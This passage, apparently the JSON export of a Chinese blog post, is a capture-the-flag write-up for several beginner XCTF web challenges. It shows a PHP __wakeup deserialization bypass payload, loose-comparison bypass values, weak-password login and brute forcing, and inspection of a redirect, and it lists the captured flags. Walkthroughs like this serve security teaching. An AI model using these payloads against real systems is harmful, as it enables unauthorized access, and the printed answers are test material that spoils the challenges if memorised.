                                \"\"<\/div><\/figure>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                class xctf{\n    public $flag = '111';  \/\/ \u5b9e\u9645\u73af\u5883\u4e2d\u4e3a\u771f\u5b9e Flag\uff0c\u6b64\u5904\u4ec5\u4e3a\u793a\u4f8b\n    public function __wakeup(){\n        exit('bad requests');  \/\/ \u89e6\u53d1\u8be5\u9b54\u672f\u65b9\u6cd5\u5219\u76f4\u63a5\u9000\u51fa\uff0c\u65e0\u6cd5\u83b7\u53d6 Flag\n    }\n}\n\/\/\u63a5\u6536 code \u53c2\u6570\u5e76\u53cd\u5e8f\u5217\u5316\uff0c\u5982 unserialize($_GET['code'])<\/code><\/pre>\n\n\n\n
                                \u53cd\u5e8f\u5217\u5316\u9898\u76ee<\/p>\n\n\n\n
                                __wakeup()\uff1a\u53cd\u5e8f\u5217\u5316\u5bf9\u8c61\u65f6\u4f1a\u81ea\u52a8\u89e6\u53d1\u8be5\u65b9\u6cd5\uff0c\u672c\u9898\u4e2d\u89e6\u53d1\u5219\u76f4\u63a5 exit\uff0c\u5fc5\u987b\u7ed5\u8fc7\uff1b\n\u6784\u9020\u7ed5\u8fc7 __wakeup() \u7684\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\uff0c\u901a\u8fc7 code \u53c2\u6570\u4f20\u5165\uff0c\u53cd\u5e8f\u5217\u5316\u540e\u83b7\u53d6 flag \u5c5e\u6027\u503c<\/code><\/pre>\n\n\n\n
                                \u5148\u7f16\u5199 PHP \u4ee3\u7801\u751f\u6210 xctf<\/code> \u7c7b\u7684\u6b63\u5e38\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\uff1a<\/p>\n\n\n\n
                                <?php\nclass xctf{\n    public $flag = '111';\n    public function __wakeup(){\n        exit('bad requests');\n    }\n}\n$obj = new xctf();\necho serialize($obj);  \/\/ \u8f93\u51fa\u6b63\u5e38\u5e8f\u5217\u5316\u7ed3\u679c\n?><\/code><\/pre>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                \u7ed5\u8fc7 __wakeup () \u7684\u4fee\u6539<\/p>\n\n\n\n
                                \u5c06\u300c\u58f0\u660e\u7684\u5c5e\u6027\u4e2a\u6570\u300d\u4ece 1<\/code> \u6539\u4e3a \u5927\u4e8e 1 \u7684\u4efb\u610f\u6570\uff08\u5982 2\uff09<\/strong>\uff0c\u4fee\u6539\u540e\u7684\u5e8f\u5217\u5316\u5b57\u7b26\u4e32\uff1a<\/p>\n\n\n\n
                                O:4:\"xctf\":2:{s:4:\"flag\";s:3:\"111\";}<\/code><\/pre>\n\n\n\n
                                Payload<\/strong><\/p>\n\n\n\n
                                code=O:4:\"xctf\":2:{s:4:\"flag\";s:3:\"111\";}<\/code><\/pre>\n\n\n\n
                                http:\/\/61.147.171.105:55590\/?code=O:4:\"xctf\":2:{s:4:\"flag\";s:3:\"111\";}<\/code><\/pre>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                cyberpeace{70090dbaab785cd191fd9c1c29b791c2}<\/code><\/pre>\n\n\n\n
                                view_source<\/h2>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                \u76f4\u63a5F12\u6216\u8005CTRL+U<\/p>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                cyberpeace{dda5176a117a894c93b23b208c9e5dc7}<\/code><\/pre>\n\n\n\n
                                weak_auth<\/h2>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                \u6211\u5c31\u968f\u4fbf\u8f93\u5165\u5f31\u5bc6\u7801\u5c31\u8fdb\u5165\u4e86<\/p>\n\n\n\n
                                admin\/123456<\/p>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                \u76f4\u63a5\u5f31\u5bc6\u7801\u5b57\u5178\u7206\u7834\u4e5f\u884c<\/p>\n\n\n\n
                                \u6f14\u793a\u4e00\u904d<\/p>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                \u76f4\u63a5\u5c31\u51fa\u6765\u4e86<\/p>\n\n\n\n
                                cyberpeace{b5ae1e58111fb99892a90cb432f35cea<\/code><\/pre>\n\n\n\n
                                simple_php<\/h2>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                \u6784\u9020 a<\/code> \u548c b<\/code> \u53c2\u6570\uff0c\u540c\u65f6\u6ee1\u8db3 flag1<\/code> \u548c flag2<\/code> \u7684\u8f93\u51fa\u6761\u4ef6\uff0c\u62ff\u5230\u5b8c\u6574 Flag<\/p>\n\n\n\n
                                a \u53c2\u6570\u6784\u9020<\/strong><\/p>\n\n\n\n
                                $a==0<\/code>\uff08\u677e\u6563\u7b49\u4e8e 0\uff09\uff1b<\/p>\n\n\n\n
                                $a<\/code> \u4e3a\u771f\uff08\u975e\u7a7a \/ \u975e\u7eaf 0\uff0c\u5e03\u5c14\u503c true<\/code>\uff09\u3002<\/p>\n\n\n\n
                                \u7ed5\u8fc7\u5173\u952e<\/p>\n\n\n\n
                                PHP \u5b57\u7b26\u4e32\u4e0e\u6570\u5b57\u6bd4\u8f83\u65f6\uff0c\u4ec5\u63d0\u53d6\u5f00\u5934\u6570\u5b57<\/strong>\u8f6c\u6210\u6570\u5b57\u3002\u6784\u9020\u300c\u5f00\u5934\u4e3a 0\uff0c\u540e\u9762\u5e26\u975e\u6570\u5b57\u300d\u7684\u5b57\u7b26\u4e32\uff0c\u65e2\u6ee1\u8db3 ==0<\/code>\uff0c\u53c8\u975e\u7a7a\u4e3a\u771f\u3002<\/p>\n\n\n\n
                                \u53ef\u7528 Payload<\/p>\n\n\n\n
                                a=0abc\/ a=0xyz\/ a=0e123<\/code><\/pre>\n\n\n\n
                                b<\/code> \u53c2\u6570\u6784\u9020<\/strong><\/p>\n\n\n\n
                                \u6ee1\u8db3\uff1a<\/p>\n\n\n\n
                                \u907f\u5f00 is_numeric($b)<\/code>\uff08\u4e0d\u80fd\u662f\u7eaf\u6570\u5b57 \/ \u6570\u5b57\u5b57\u7b26\u4e32\uff09\uff1b<\/p>\n\n\n\n
                                $b>1234<\/code>\uff08\u8f6c\u6570\u5b57\u540e\u5927\u4e8e 1234\uff09\u3002<\/p>\n\n\n\n
                                \u7ed5\u8fc7\u5173\u952e<\/strong><\/p>\n\n\n\n
                                \u6784\u9020\u300c\u5f00\u5934\u4e3a\u5927\u4e8e 1234 \u7684\u6570\u5b57\uff0c\u540e\u9762\u5e26\u975e\u6570\u5b57\u300d\u7684\u5b57\u7b26\u4e32\uff0c\u65e2\u8ba9 is_numeric=false<\/code>\uff0c\u53c8\u6ee1\u8db3\u6570\u503c\u6bd4\u8f83\u6761\u4ef6<\/p>\n\n\n\n
                                \u53ef\u7528Payload<\/p>\n\n\n\n
                                b=1235abc \/ b=9999xyz \/ b=12345@<\/code><\/pre>\n\n\n\n
                                \u968f\u4fbf\u7ec4\u5408\u5c31\u884c<\/p>\n\n\n\n
                                http://61.147.171.103:58465\/?a=0abc&b=1235abc<\/code><\/pre>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}<\/code><\/pre>\n\n\n\n
                                baby_web<\/h2>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                \u8bf4\u4e86\u521d\u59cb\u9875\u9762\u8bbf\u95ee index.php<\/p>\n\n\n\n
                                \u53d1\u73b0302\u91cd\u5b9a\u5411\u4e86<\/p>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                burp\u6293\u5305\u770b<\/p>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                \u706b\u72d0\u4e5f\u884c<\/p>\n\n\n\n
                                \"\"<\/div><\/figure>\n\n\n\n
                                \u53d1\u73b0flag\u4e86<\/p>\n\n\n\n
                                flag{very_baby_web}<\/code><\/pre>\n\n\n\n
                                \u603b\u7ed3<\/h2>\n\n\n\n
                                \u603b\u4f53\u6765\u8bf4\u524d\u51e0\u4e2a\u96be\u5ea6\u4e00\uff0c\u6839\u672c\u5c31\u4e0d\u662f\u96be\u5ea6\u4e00\u7684\u96be\u5ea6\uff0c\ud83e\udd2f\u540e\u9762\u7684\u8fd8\u597d<\/p>\n","protected":false},"excerpt":{"rendered":"
                                \u653b\u9632\u4e16\u754cWeb\u96be\u5ea6\u4e00\u6574\u5408 unseping php\u53cd\u5e8f\u5217\u5316\u9898\u76ee \u83b7\u53d6\u5f53\u524d\u76ee\u5f55 \u67e5\u770bflag_1s_hers \u67e5 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17,9],"tags":[],"class_list":["post-1892","post","type-post","status-publish","format-standard","hentry","category-17","category-wp"],"_links":{"self":[{"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=\/wp\/v2\/posts\/1892","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1892"}],"version-history":[{"count":2,"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=\/wp\/v2\/posts\/1892\/revisions"}],"predecessor-version":[{"id":2001,"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=\/wp\/v2\/posts\/1892\/revisions\/2001"}],"wp:attachment":[{"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1892"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1892"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1892"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}